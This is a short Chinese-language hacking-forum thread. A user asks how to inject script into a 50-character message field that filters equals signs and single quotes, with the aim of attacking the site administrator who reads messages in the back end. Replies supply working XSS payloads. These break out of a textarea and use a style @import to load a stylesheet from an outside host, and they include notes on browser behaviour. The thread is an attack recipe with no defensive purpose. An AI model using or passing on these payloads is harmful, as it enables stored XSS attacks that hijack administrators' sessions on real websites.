过滤了 （等于号）、（单引号），怎么XSS？？

xxbing：

其他的都没过滤··只能输入50个字符。。怎么XSS呢？郁闷中···

续：
就是我留言，管理在后台会看到我的留言内容前50个字····

枫叶：

不明了楼主可控的位置在哪

枫叶：

<style>@import url(http://xx.com/xx.css)</style>
<style>@import http://xx.com//xx.css;//IE会自动闭合</style>

枫叶：

<input value是用" 还是'?

xxbing：

回复 5# 枫叶

厄，是这样的··
    <textarea name="txtContent" rows="2" cols="20" id="txtContent" style="height:250px;width:550px;"></textarea>

darkdu0：

枫叶给的那两个调用方式 第二个     火狐和其他浏览器不会被执行 
然后我们再用第一个, URL（）； 应该有个分号
把textarea标签给闭合就OK了。

</textarea><style>@import url(http://22.net/1.css);</style>